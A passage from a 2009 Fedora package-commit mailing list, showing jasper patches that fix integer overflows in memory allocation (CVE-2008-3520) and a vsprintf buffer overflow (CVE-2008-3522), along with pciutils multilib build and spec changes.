 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/devel/jasper.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- jasper.spec	25 Jul 2009 03:53:53 -0000	1.34
+++ jasper.spec	26 Oct 2009 16:27:35 -0000	1.35
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 12%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,7 +22,12 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
@@ -67,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -128,6 +135,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mhlavink at fedoraproject.org  Mon Oct 26 16:30:12 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 26 Oct 2009 16:30:12 +0000 (UTC)
Subject: rpms/pciutils/devel pciutils-3.0.2-multilib.patch, 1.4,
	1.5 pciutils.spec, 1.79, 1.80
Message-ID: <20091026163012.8097911C02BB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25204

Modified Files:
	pciutils-3.0.2-multilib.patch pciutils.spec 
Log Message:
* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-5
- fix build to enable -F option (#531020)


pciutils-3.0.2-multilib.patch:
 configure |   60 +++++++++++++++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 49 insertions(+), 11 deletions(-)

Index: pciutils-3.0.2-multilib.patch
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils-3.0.2-multilib.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pciutils-3.0.2-multilib.patch	26 Oct 2009 15:09:37 -0000	1.4
+++ pciutils-3.0.2-multilib.patch	26 Oct 2009 16:30:10 -0000	1.5
@@ -76,15 +76,6 @@ diff -up pciutils-3.1.4/lib/configure.mu
  		;;
  	sunos)
  		case $cpu in
-@@ -130,7 +165,7 @@ case $sys in
- 		;;
- esac
- 
--echo >>$c '#define PCI_HAVE_PM_DUMP'
-+echo >>$cm '#define PCI_HAVE_PM_DUMP'
- echo " dump"
- 
- echo_n "Checking for zlib support... "
 @@ -153,6 +188,7 @@ else
  	echo >>$c '#define PCI_IDS "pci.ids"'
  fi


Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- pciutils.spec	26 Oct 2009 15:09:37 -0000	1.79
+++ pciutils.spec	26 Oct 2009 16:30:10 -0000	1.80
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	4%{?dist}
+Release: 	5%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 
 #truncate too long names (#205948)
@@ -140,6 +140,9 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-5
+- fix build to enable -F option (#531020)
+
 * Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
 - enable direct hardware access method for 64bit architectures
 



From mhlavink at fedoraproject.org  Mon Oct 26 16:30:45 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 26 Oct 2009 16:30:45 +0000 (UTC)
Subject: rpms/pciutils/F-11 pciutils-3.0.2-multilib.patch, 1.3,
	1.4 pciutils.spec, 1.75, 1.76
Message-ID: <20091026163045.844BC11C029E@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25382

Modified Files:
	pciutils-3.0.2-multilib.patch pciutils.spec 
Log Message:
* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
- fix build to enable -F option (#531020)
- enable direct hardware access method for 64bit architectures


pciutils-3.0.2-multilib.patch:
 configure |   60 +++++++++++++++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 49 insertions(+), 11 deletions(-)

Index: pciutils-3.0.2-multilib.patch
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-11/pciutils-3.0.2-multilib.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pciutils-3.0.2-multilib.patch	27 Jan 2009 17:26:44 -0000	1.3
+++ pciutils-3.0.2-multilib.patch	26 Oct 2009 16:30:43 -0000	1.4
@@ -1,7 +1,7 @@
-diff -up pciutils-3.0.2/lib/configure.multilib pciutils-3.0.2/lib/configure
---- pciutils-3.0.2/lib/configure.multilib	2008-09-19 20:04:37.000000000 +0200
-+++ pciutils-3.0.2/lib/configure	2008-09-22 10:35:58.964527560 +0200
-@@ -45,29 +45,62 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
+diff -up pciutils-3.1.4/lib/configure.multilib pciutils-3.1.4/lib/configure
+--- pciutils-3.1.4/lib/configure.multilib	2009-08-10 16:28:53.000000000 +0200
++++ pciutils-3.1.4/lib/configure	2009-10-23 17:51:57.272127815 +0200
+@@ -50,29 +50,64 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
  echo " $host $rel $cpu $sys"
  
  c=config.h
@@ -15,8 +15,10 @@ diff -up pciutils-3.0.2/lib/configure.mu
 +#define PCI_CONFIG_H
 +#if defined(__x86_64__)
 +#define PCI_ARCH_X86_64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__ia64__)
 +#define PCI_ARCH_IA64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__i386__)
 +#define PCI_ARCH_I386
 +#define PCI_HAVE_PM_INTEL_CONF
@@ -74,16 +76,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  		;;
  	sunos)
  		case $cpu in
-@@ -123,7 +156,7 @@ case $sys in
- 		;;
- esac
- 
--echo >>$c '#define PCI_HAVE_PM_DUMP'
-+echo >>$cm '#define PCI_HAVE_PM_DUMP'
- echo " dump"
- 
- echo_n "Checking for zlib support... "
-@@ -146,6 +179,7 @@ else
+@@ -153,6 +188,7 @@ else
  	echo >>$c '#define PCI_IDS "pci.ids"'
  fi
  echo >>$c "#define PCI_PATH_IDS_DIR \"$IDSDIR\""
@@ -91,7 +84,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  
  echo_n "Checking for DNS support... "
  if [ "$DNS" = yes -o "$DNS" = no ] ; then
-@@ -160,6 +194,7 @@ else
+@@ -167,6 +203,7 @@ else
  fi
  if [ "$DNS" = yes ] ; then
  	echo >>$c "#define PCI_USE_DNS"
@@ -99,7 +92,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  	echo >>$c "#define PCI_ID_DOMAIN \"pci.id.ucw.cz\""
  	echo >>$m "WITH_LIBS+=$LIBRESOLV"
  fi
-@@ -182,4 +217,5 @@ fi
+@@ -189,4 +226,5 @@ fi
  echo >>$m 'PCILIBPC=$(LIBNAME).pc'
  
  echo >>$c "#define PCILIB_VERSION \"$VERSION\""


Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-11/pciutils.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- pciutils.spec	1 Sep 2009 12:03:50 -0000	1.75
+++ pciutils.spec	26 Oct 2009 16:30:44 -0000	1.76
@@ -1,16 +1,31 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	2%{?dist}
+Release: 	3%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
+
+#truncate too long names (#205948)
 Patch1: 	pciutils-2.2.4-buf.patch
+
+#don't segfault on systems without PCI bus (#84146)
 Patch2:		pciutils-2.1.10-scan.patch
+
+#use pread/pwrite, ifdef check is obsolete nowadays
 Patch3: 	pciutils-havepread.patch
+
+#change pci.ids directory to hwdata
 Patch6: 	pciutils-2.2.1-idpath.patch
+
+#multilib support
 Patch8: 	pciutils-3.0.2-multilib.patch
+
+#add support for directory with another pci.ids
 Patch9: 	pciutils-dir-d.patch
+
+#platform support 3x
 Patch10:	pciutils-2.2.10-sparc-support.patch
 Patch11:	pciutils-3.0.1-superh-support.patch
 Patch12:	pciutils-3.1.2-arm.patch
+
 License:	GPLv2+
 URL:		http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml
 BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -55,7 +70,7 @@ devices connected to the PCI bus.
 %patch11 -p1 -b .superh
 %patch12 -p1 -b .arm
 
-sed -i -e 's/^SRC=.*/SRC="http:\/\/pciids.sourceforge.net\/pci.ids"/' update-pciids.sh
+sed -i -e 's|^SRC=.*|SRC="http://pciids.sourceforge.net/pci.ids"|' update-pciids.sh
 
 %build
 make SHARED="no" ZLIB="no" STRIP="" OPT="$RPM_OPT_FLAGS" PREFIX="/usr" IDSDIR="/usr/share/hwdata" PCI_IDS="pci.ids" %{?_smp_mflags}
@@ -114,6 +129,10 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
+- fix build to enable -F option (#531020)
+- enable direct hardware access method for 64bit architectures
+
 * Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-2
 - add COPYING to docs
 



From rdieter at fedoraproject.org  Mon Oct 26 16:48:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:48:19 +0000 (UTC)
Subject: rpms/jasper/F-11 jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE,
	1.1 jasper-1.701.0-GL-ac.patch, 1.1, 1.2 jasper-1.701.0-GL.patch,
	1.4, 1.5 jasper.spec, 1.32, 1.33
Message-ID: <20091026164819.6A72F11C02C6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31124

Modified Files:
	jasper-1.701.0-GL-ac.patch jasper-1.701.0-GL.patch jasper.spec 
Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
